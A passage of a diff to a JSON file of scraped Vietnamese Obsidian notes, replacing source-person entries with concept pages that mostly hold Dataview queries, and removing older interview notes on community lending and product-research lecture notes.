"Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-04-03T07:16:00.000Z", - "id": "Ms" + "Ngày tạo": "2024-07-28T14:54:00.000Z", + "Ngày cập nhật": "2024-07-29T06:57:00.000Z", + "id": "N4" }, { - "Tiêu đề": "Nguyễn Hoài Vân", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Nguyễn Hoài Vân", + "Tiêu đề": "Quan sát tham dự", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển cộng đồng/Quan sát tham dự", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: \r\nNguồn:: [[Nguyễn Đức Lộc]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-29T13:59:00.000Z", - "id": "Mt" + "Ngày cập nhật": "2024-07-29T06:45:00.000Z", + "id": "N5" }, { - "Tiêu đề": "Nguyễn Đức Lộc", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Nguyễn Đức Lộc", + "Tiêu đề": "backup", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển sản phẩm, lên kế hoạch, công việc/backup", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Xem thêm:: [[Ưu tiên]]\n```dataviewjs\nconst kháiNiệmHiệnTại = dv.current().file.name\nconst inlinks = dv.current().file.inlinks\nconst dsKháiNiệmLiênQuan = []\nfor (const inlink of inlinks) {\n const kháiNiệmCủaInlink = dv.page(inlink)[\"Khái niệm\"]\n if (Array.isArray(kháiNiệmCủaInlink)) {\n dsKháiNiệmLiênQuan.push(...kháiNiệmCủaInlink)\n } else {\n dsKháiNiệmLiênQuan.push(kháiNiệmCủaInlink)\n } \n}\nconst dsKháiNiệmLiênQuanKhôngBịLặp = [] \nfor (const i of dsKháiNiệmLiênQuan) {\n if (!dsKháiNiệmLiênQuanKhôngBịLặp.includes(i.path)){\n dsKháiNiệmLiênQuanKhôngBịLặp.push(i.path) \n } \n} \ndv.span(dsKháiNiệmLiênQuanKhôngBịLặp)\nconsole.log(dsKháiNiệmLiênQuanKhôngBịLặp)\n```\n\nWHERE contains(khái-niệm, [[]])\nLIST\n```\n```dataview", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T14:52:00.000Z", - "id": "Mu" + "Ngày tạo": "2024-07-28T14:54:00.000Z", + "Ngày cập nhật": "2024-07-30T03:23:00.000Z", + "id": "N6" }, { - "Tiêu đề": "nngroup", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/nngroup", + "Tiêu đề": "Công việc", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển sản phẩm, lên kế hoạch, công việc/Công việc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-10T13:11:00.000Z", - "id": "Mv" + "Ngày tạo": "2024-07-28T14:54:00.000Z", + "Ngày cập nhật": "2024-07-29T10:50:00.000Z", + "id": "N7" }, { - "Tiêu đề": "Paul Graham", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Paul Graham", + "Tiêu đề": "Kế hoạch", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển sản phẩm, lên kế hoạch, công việc/Kế hoạch", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "```dataviewjs\nconst inlinks = dv.current().file.inlinks\nconst linkList = []\nfor (const inlink of inlinks) {\n const data = dv.page(inlink)[\"Khái niệm\"]\n if (!Array.isArray(data)) {\n linkList.push(data)\n } \n}\nconst result = [] \nconsole.log(inlinks)\nconsole.log(linkList)\nfor (const i of linkList) {\n result.push(i.path) \n console.log(\"result\", result)\n} \ndv.span(result)\n```\n\n[[backup]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-06T10:22:00.000Z", - "id": "Mw" + "Ngày tạo": "2024-07-28T14:54:00.000Z", + "Ngày cập nhật": "2024-08-02T12:28:00.000Z", + "id": "N8" }, { - "Tiêu đề": "Phạm Trường Sơn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Phạm Trường Sơn", + "Tiêu đề": "Phi tuyến", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển sản phẩm, lên kế hoạch, công việc/Phi tuyến", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n[[Các câu hỏi về việc thành lập quỹ tín dụng, nền kinh tế phi chính thức, bản chất CSR của doanh nghiệp và tâm lý con người về tiền]]\n\n## Ai là người muốn có giải pháp cho người đang ngập trong nợ nhất?\nKhông có tổ chức nào có đối tượng thụ hưởng là người đang nợ\n## Nếu [[Cho vay ngang hàng]], [[Cho mượn theo nhóm đảm bảo hơn]], tại sao các doanh nghiệp, ngân hàng không áp dụng?\nmô hình vay nhóm chỉ áp dụng cho người nghèo, còn kinh doanh thì có nhiều hình thức khác. Người nghèo hầu như không có theo nhóm được\n## Các chương trình hỗ trợ người lao động của chính phủ gặp vấn đề gì mà không phát triển được?\nHọ vô vì xoasd đói giảm nghèo, hết bệnh. Cho mượn là lồng ghép để thoát nghèo thôi\nBangladesh thế giới 3 không. Chưa thấy có tổ chức chuyên về tiết kiệm tín dụng vì nó rất khó. Gặp nghị định của chính phủ muốn kiểm soát dòng tiền\ndariu foudation\nChính phủ làm từ thiện thì được, chứ không nên thúc đẩy xã hội. Như hồi covid quận 8 bị bùng dịch chính phủ có làm được gì đâu. Bộ đội vô cũng ko làm đc gì. Tốt nhất là có cơ chế mở đường cho các nhóm xã hội vào hỗ trợ\nquận 8 hồi covid. Vấn đề xã hội phức tạp rất khác biệt. \n\n## Vì sao anh không lo lắng là mình đang bị để ý? Dù sao anh cũng là người có tiếng trong cộng đồng mà\nTiền giải ngân của tphcm chỉ giải ngân được 12% mà quy trình ko phê duyệt được. Nó là một bí ẩn\n## Anh có biết những người có tiền nhàn rỗi lớn và hay cho từ thiện nào không? Ví dụ như các cơ sở tôn giáo? Điều gì khiến mình có thể vay được từ họ?\nLIN theo sứ mệnh quản lý tổ chức, chứ ko phải là phát triển cộng đồng, chỉ có kết nối\nSứ mạng của họ là thương người chứ không phải là phát triển cộng đồng. \n## Điều gì khiến một người có tiền nhiều tới mức đầu tư cũng ko hết vẫn ko muốn cho tiền? Tại sao việc đáp ứng nhu cầu người khác lại không mạnh hơn việc tối đa hoá tiền? \nHọc viện mà Mark Zuckerberg học ở cấp 3 là nhân bản\n- truyền thống thì mình có, nhưng phải nuôi dưỡng. Nuôi dưỡng thông qua giáo dục thì mình ko có. Và phải\n\n- Mỹ: đề cao tư bản, nhưng có luật sòng phẳng. Định hình thể chế philanthropy thông qua luật\n- Châu Âu: thuế thu nhập rất cao\n# Mạng kết nối nhu cầu\n- Các nhóm xã hội như bọn anh lấy tiền từ đâu? Bà Tôn Nữ Thị Ninh\n# Nhu cầu của các tổ chức về phân loại dữ liệu tự động\n- Làm sao để nhóm thấy bài viết liên quan để duyệt? \n[[📐 Dự án/Trấn Kỳ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Nhu cầu phân loại tự động/Mục tiêu và câu hỏi nghiên cứu người dùng cá nhân cần phân loại tự động]], [[📐 Dự án/Trấn Kỳ/4 Thành phẩm/Người dùng/Tổ chức nhỏ hoặc người cần kỷ luật tài chính/Nhu cầu phân loại tự động/Câu hỏi phỏng vấn|Câu hỏi phỏng vấn]]\n## Hành vi phân loại\n### Anh có thể phân loại mẫu được không?\nPhân loại theo số nhân viên hoặc tổng số tiền.\nPhân loại theo hoạt động \n\nNGo làm với con người. Doanh nghiệp thì mới cần data\nLIN khác vì dữ liệu đối tác rất lớn\n\nKhông có con người biết đủ các tố chất 2 bên: doanh nghiệp\ntầm nhìn của weshare rất lớn, nhưng ko toàn tâm toàn ý được để có tiền để xây dựng đội ngũ\n\n# Nhu cầu về quản lý dữ liệu\n- Các hoạt động của bọn anh có cái nào mở không. Em có thể đọc các tài liệu của bọn anh được không?\n- Tại sao LIN lại cần bảo mật dữ liệu? \n- Anh phân loại các tổ chức to nhỏ thế nào? \n- Số đối tác của LIN là rất lớn, nhưng các bên liên quan của các tổ chức cũng lớn mà\n\n- Anh còn quan tâm đến việc tích luỹ kiến thức để có thể tư vấn cho các tổ chức được tốt hơn không?\n## Ai cũng nói về sự hợp tác, nhưng tại sao không ai quan tâm đến việc lưu trữ dữ liệu?\nTại sao ai cũng lấy bản đồ các bên liên quan ra, nhưng việc lập một bản đồ thực sự không ai quan tâm?\n\n\n\n- Anh cảm thấy mình muốn chia sẻ điều gì nhất cho mọi người? \n- Anh có ý định mở các buổi chia sẻ không?\n- Giáo trình kinh tế nào anh thấy hữu ích không?\n- Hệ thống tri thức cá nhân của anh và chia sẻ cho mọi người\n\n- SNPO khác gì LIN\n- DRD, quỹ hoà bình và phát triển có gì phucwsc tạp như LIN ko?\n- vì sao kiểm toán \n- Các tổ chức đầu tàu có quan tâm đến minh bạch dữ liệu nội bộ ko?\n- trao đổi thoongtin kém có là lý do hệ sinh thái kém phát triển?", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-03-30T04:41:00.000Z", - "id": "Mx" + "Ngày cập nhật": "2024-07-29T06:46:00.000Z", + "id": "N9" }, { - "Tiêu đề": "Bùi Quang Tinh Tú", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Bùi Quang Tinh Tú", + "Tiêu đề": "Quỹ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển sản phẩm, lên kế hoạch, công việc/Quỹ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "Xem thêm:: [[Gây quỹ]], [[Quỹ, gọi vốn]]\n```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-30T05:54:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "My" + "Ngày tạo": "2024-07-28T14:54:00.000Z", + "Ngày cập nhật": "2024-07-29T07:12:00.000Z", + "id": "NA" }, { - "Tiêu đề": "Doing project wiki", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Doing project wiki", + "Tiêu đề": "Sản phẩm", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển sản phẩm, lên kế hoạch, công việc/Sản phẩm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](http://wiki.doing-projects.org/images/thumb/6/6a/Bannertop3.png/380px-Bannertop3.png) \r\nWelcome to our wiki for doing projects - an online resource for managing projects, programs, and portfolios.\r\n\r\nThis wiki is a result of the Technical University of Denmark's ProjectLab effort to provide Project Management education and enable access for everyone.The articles are solely student's result*, as they are required to develop an article about an aspect from the course Advanced Project Program & Portfolio Management, at DTU.\r\n[apppm](http://wiki.doing-projects.org/index.php/Main_Page)\r\n", + "Toàn bộ nội dung": "```dataview\nLIST\nWHERE contains(khái-niệm, [[]])\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "Mz" + "Ngày tạo": "2024-07-28T14:54:00.000Z", + "Ngày cập nhật": "2024-07-29T06:46:00.000Z", + "id": "NB" }, { - "Tiêu đề": "Hoàng Đức Minh", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hoàng Đức Minh", + "Tiêu đề": "Thước đo, đo lường, chỉ số, KPI", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển sản phẩm, lên kế hoạch, công việc/Thước đo, đo lường, chỉ số, KPI", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST file.cday\nFROM [[]]\nsort file.cday desc\n```\n![https://youtu.be/hz86dVIrjIA](https://youtu.be/hz86dVIrjIA \"https://youtu.be/hz86dVIrjIA\")\nTrên mạng có rất nhiều tài liệu: \n\nHậu quả của sự đa dạng là khó có tiêu chuẩn thống nhất \n[[Design thinking bắt đầu từ một đề bài. Nhưng đề bài được ra thế nào thì không nói]]\n[[Đặc điểm của quy trình phát triển sản phẩm truyền thống là bước nghiên cứu xem ý tưởng có đúng không luôn đến sau việc nghĩ ra được ý tưởng đó trước]]\n\nÝ tưởng thường từ 3 nguồn:\n- Nhu cầu cá nhân\n- Khách hàng phản hồi\n- Lãnh đạo yêu cầu\n\nQuy trình hiện nay tách ra rành mạch 2 cái: discovery và delivery/exploration và validation\nBản chất của quá trình khám phá là rủi ro\n\n[[Dựa vào KPI thì bộ phận kinh doanh sẽ có tiếng nói lớn nhất, còn đội phát triển sản phẩm rất ít có tiếng nói]]\nProduct phải là người \n\n[[1 nghiên cứu 20 ngày khác với 4 nghiên cứu 5 ngày]]. ROI khác nhau\n![](https://i.imgur.com/lE5pZFO.png)\n\n[[Nghiên cứu người dùng không nên là một bước, mà nên là một hoạt động diễn ra liên tục]]\n![](https://images.prismic.io/superpupertest/38b1e49d-80e7-43e5-b92c-4ba4971eb35b_Frame+2541.png?auto=compress,format) \n\nCác cách để nghiên cứu người dùng:\n- Hỏi\n- Quan sát\n- Trải nghiệm: \n- Đọc nghiên cứu\n- Phân tích dữ liệu\n- Thí nghiệm\n\n[[⚡Hiểu biết sâu/Ξ Nguồn/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Khảo sát tốt nhất là chỉ có một câu. Người chịu khó trả lời câu hỏi mở thường là người đã quý mến mình sẵn rồi]]\n\nNhững yếu tố có thể học được từ user reserach:\n- Hành vi → vẽ lại hành trình trải nghiệm\n- Tư duy/suy nghĩ: đó là bản năng, trực giác, hay có động cơ rõ ràng\n- Các yếu tố tác động: \nĐiều khiến khách hàng khác biệt về hành vi là do suy nghĩ. Nhưng điều khiến khách hàng khác biệt về suy nghĩ bao gồm các yếu tố tác động: nội sinh hoặc ngoại sinh\n\n3 loại tư duy, suy nghĩ:\n- Nhu cầu\n- Sở thích\n- Nỗi đau\n\n[[Một số ví dụ về mục tiêu nghiên cứu]]\nHoạt động phỏng vấn nên là để kiểm chứng suy đoán, chứ không phải là để tạo ra suy đoán. Sau khi có giả định thì việc đặt câu hỏi nó khác hẳn và có thể tách nhỏ.\nAI sẽ rất hữu ích trong việc tạo ra giả thiết để mình kiểm chứng\n\n[[Khi app có nhiều tính năng thì sẽ không biết một người dùng không vào là vì họ không tìm thấy tính năng họ cần hay là vì họ không biết app có tính năng họ cần]]\n\n4 loại giả định chính:\n- Feasibility: giả định về thực thi\n- Desirability: giả định về nhu cầu\n- Viability: giả định về kinh doanh\n- Usability: giả định về hành vi\n\n[[Việc chọn đối tượng phỏng vấn phụ thuộc vào việc giả định của mình liên quan đến hành vi nào]]\n\nSố lượng khảo sats: n=N/(1+N × e^2 ). Có thể max là 400, vì sau đó significant ko còn cao nữa\nSố lượng phỏng vấn: 4 đến 12 người, hoặc đến khi không còn thấy gì mới mẻ trong việc phỏng vấn nữa\n\n[[Phỏng vấn phù hợp để hiểu lý do cho một hành vi của một người]]\n\nGiây phút ta tạo ra 2 team và phân biệt nghĩa vụ thì chắc chắn sẽ mất thông tin. Nhưng nó sẽ rất phụ thuộc vào việc tìm ra nhân sự. Xu hướng là tách ra 2 hoạt động song song nhưng cùng một đội ngũ, hơn là tách ra thành 2 đội ngũ\n\n[[Insight sẽ thường ra ngay lúc phỏng vấn]]\n\nInsight không nên lung tung, mà nên theo danh mục các biến, theo mục tiêu nghiên cứu\n\nInsight không dùng đi dùng lại\n\nLàm game không được tính là làm sản phẩm. Nó nên được xem là làm nghệ thuật, nhưng vì nó có data, cũng phải dev, nên nó lai lai\n\n[[Làm product thiên về cảm giác, làm growth thiên về dữ liệu]]\n\n[[Vì tôi không biết làm nên không được giao, nhưng vì không được giao nên càng không biết làm]]\n\nCách vào ngành tốt nhất là từ BA, UX, data\n\nMục tiêu này chỉ phù hợp khi có sản phẩm rồi\nMức độ sẵn sàng khó định nghĩa\nLean dev: đi bán thử sp khi chưa có sp mà đang trong quá trình phát triển\nPtkh là đi tìm liệu sp có được tiếp nhận hay ko, và đối tượng có thể tiếp nhận là ai\n\nPhát triển khách hàng tinh gọn\n\nNhìn rộng ra thì đây cũng là một mục tiêu nghiên cứu phù hợp, nhưng sẽ tốt hơn khi mình đã có một sản phẩm demo\n\nPhỏng vấn người dùng ko phù hợp để tiên đoán hành vi tương lai ⇒ Pvnd ko nên dùng để đánh giá mức độ sẵn sàng\n\nNhà hàng nào? Nhà hàng, thời trang, mỹ phẩm? Ai là người có nhu cầu loyalty.\n- Cách đang làm loyalty trong quá khứ\n- So sánh giữa các nhà hàng về nhu cầu loyalty\n\nNhững cửa hàng có làm loyalty có thể ko cần đến mình. Còn người chưa làm thì có khi lại cần educate\n\n\n\nHọ đang tổ chức tài liệu ntn. Họ có gặp khó khăn gì trong việc tổ chức tài liệu. Nếu họ đang happy thì sp đó.\n\n[[Sản phẩm ra mắt 10 năm rồi cũng có thể không biết gì về người dùng]]\n\nCứ đi bán trực tiếp, nếu ko mua thì đi hỏi tại sao\n\n[[Phân loại người dùng khi phát triển sản phẩm khác với phân khúc khách hàng]]. Lý thuyết phổ biến về phân khúc khách hàng ví dụ như early adopter. CÒn với phát triển sản phẩm, cùng với app loyalty, cùng nhà hàng thì có bình dân, 5 sao, chuỗi. Mỗi bên có tập khách hàng của riêng họ. \nNên cơ bản phải đi từ giả thiết. Họ là ai. Họ cần gì. Từ đó mới chia nhỏ hơn thành các mục tiêu nghiên cứu\n\n[Product Maker Vietnam](https://zalo.me/g/chxnnm846)\n[Hoàng Đức Minh | Facebook](https://www.facebook.com/minh5e)\n", + "Toàn bộ nội dung": "```dataview\nList\nwhere contains(khái-niệm,[[]]) \n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-02T05:54:00.000Z", - "id": "M-" + "Ngày tạo": "2023-06-11T17:57:00.000Z", + "Ngày cập nhật": "2024-07-29T06:46:00.000Z", + "id": "NC" }, { - "Tiêu đề": "Seth Godin", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Seth Godin", + "Tiêu đề": "Đơn giản", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển sản phẩm, lên kế hoạch, công việc/Đơn giản", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" @@ -23659,44 +23884,44 @@ }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-03-14T12:03:00.000Z", - "id": "M_" + "Ngày cập nhật": "2024-07-29T06:46:00.000Z", + "id": "ND" }, { - "Tiêu đề": "CORE Econ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Tài liệu/CORE Econ", + "Tiêu đề": "Ưu tiên", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phát triển sản phẩm, lên kế hoạch, công việc/Ưu tiên", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[CORE Econ](https://www.core-econ.org)\n[[Các giáo trình kinh tế hiện nay tập trung vào các mô hình toán học chứ không phải là hành vi con người]] ", + "Toàn bộ nội dung": "Xem thêm:: [[Kế hoạch]]\n```dataview\nLIST \nWHERE contains(khái-niệm, [[]])\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-12-27T06:57:00.000Z", - "id": "N0" + "Ngày tạo": "2024-07-28T14:54:00.000Z", + "Ngày cập nhật": "2024-07-29T10:49:00.000Z", + "id": "NE" }, { - "Tiêu đề": "Media for Thinking the Unthinkable", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Tài liệu/Media for Thinking the Unthinkable", + "Tiêu đề": "Phản hồi", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Phản hồi", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "
    \r\n

    Media for Thinking the Unthinkable from Bret Victor on Vimeo.

    \r\n

    Presented at the MIT Media Lab on April 4, 2013.
    \r\n
    \r\nTalk outline: http://worrydream.com/MediaForThinkingTheUnthinkable/
    \r\nPersonal preface: http://worrydream.com/MediaForThinkingTheUnthinkable/note.html
    \r\n
    \r\nFor more information about the demos --
    \r\n
    \r\n1. Scientific paper. http://worrydream.com/ScientificCommunicationAsSequentialArt/
    \r\n2. Circuit. http://vimeo.com/36579366
    \r\n3. Digital filter. http://worrydream.com/ExplorableExplanations/
    \r\n4. Multitrack signal processing. (first time presented)
    \r\n5. Nile viewer. https://github.com/damelang/nile
    \r\n6. Drawing tool. http://vimeo.com/66085662
    \r\n
    \r\nBret Victor -- http://worrydream.com

    \r\n", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(khái-niệm, [[]])\nGROUP BY split(file.folder, \"/\")[3]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "N1" + "Ngày tạo": "2024-08-19T15:03:00.000Z", + "Ngày cập nhật": "2024-08-19T15:03:00.000Z", + "id": "NF" }, { - "Tiêu đề": "Tạ Duy Phong", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Tạ Duy Phong", + "Tiêu đề": "Ra quyết định", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Quản lý tổ chức/Ra quyết định", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" @@ -23707,1285 +23932,1245 @@ }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-03-16T07:40:00.000Z", - "id": "N2" + "Ngày cập nhật": "2024-07-29T06:45:00.000Z", + "id": "NG" }, { - "Tiêu đề": "Tự ngẫm nghĩ, trải nghiệm", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Tự ngẫm nghĩ, trải nghiệm", + "Tiêu đề": "Thảo luận", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Quản lý tổ chức/Thảo luận", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(nguồn, [[]])\ngroup by split(file.folder, \"/\")[0] \n```", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-30T08:44:00.000Z", - "id": "N3" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-29T06:45:00.000Z", + "id": "NH" }, { - "Tiêu đề": "Veritasium", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Veritasium", + "Tiêu đề": "Tin tưởng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Quản lý tổ chức/Tin tưởng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-05T08:42:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", - "id": "N4" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-29T06:43:00.000Z", + "id": "NI" }, { - "Tiêu đề": "Wikipedia", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Wikipedia", + "Tiêu đề": "Văn hoá", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Quản lý tổ chức/Văn hoá", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-12-14T10:54:00.000Z", - "id": "N5" - }, - { - "Tiêu đề": "Y Combinator", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Y Combinator", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-29T06:43:00.000Z", + "id": "NJ" + }, + { + "Tiêu đề": "Thành quả", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Thành quả", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Chia sẻ quyển sách về khởi nghiệp do mình dịch - How to start a startup | Y Combinator](https://spiderum.com/bai-dang/Chia-se-quyen-sach-ve-khoi-nghiep-do-minh-dich-How-to-start-a-startup-or-Y-Combinator-Taef0UB0oG2p \"Chia sẻ quyển sách về khởi nghiệp do mình dịch - How to start a startup | Y Combinator\")\n![](https://images.spiderum.com/sp-images/def31370f79611ec9c81cbff57bd3aca.jpeg) ", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(khái-niệm, [[]])\nGROUP BY split(file.folder, \"/\")[3]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-25T05:52:00.000Z", - "id": "N6" + "Ngày tạo": "2024-08-20T05:55:00.000Z", + "Ngày cập nhật": "2024-08-20T05:55:00.000Z", + "id": "NK" }, { - "Tiêu đề": "Điệp", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Điệp", + "Tiêu đề": "Thời gian, lịch", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Khái niệm/Thời gian, lịch", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nWHERE contains(khái-niệm, [[]])\nGROUP BY split(file.folder, \"/\")[3]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": 